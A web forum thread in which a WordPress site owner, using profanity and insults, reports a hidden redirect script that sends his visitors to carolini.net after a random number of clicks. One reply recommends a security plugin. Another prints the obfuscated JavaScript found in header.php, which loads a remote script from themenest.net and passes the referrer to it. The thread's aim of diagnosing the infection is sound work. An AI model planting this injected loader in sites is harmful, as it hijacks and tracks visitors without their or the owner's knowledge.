To: Owner of carolini.net - You're a dickhead

rasmusk said:

Who'ever det owner of carolini . net is - Youre a dickhead. I've spent thousands of hours getting content on my authority site and earning more than 50 USD a day.

I wondered why statistics was fucked up.. Now I know why.

Someone installed a script on my website, redirecting people to carolini.net(which redirects twice). The sick thing of this script is, that it only does it after 5-15 clicks in a random interval, so the webmaster(me) wont find out so easy.

Seriously? I need help to get this fixed. I will pay trough moneybookers to cleanse this from all my wordpress sites. Also money to get identity of this guy so I can file a police report. Cheers.

Click to expand...

islandman1010 said:

try using Wordfence plugin. Did a good job on my site

Click to expand...

deesonarnibal said:

Figured it out. The header.php got malicious script on it.

Code:

<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>

Click to expand...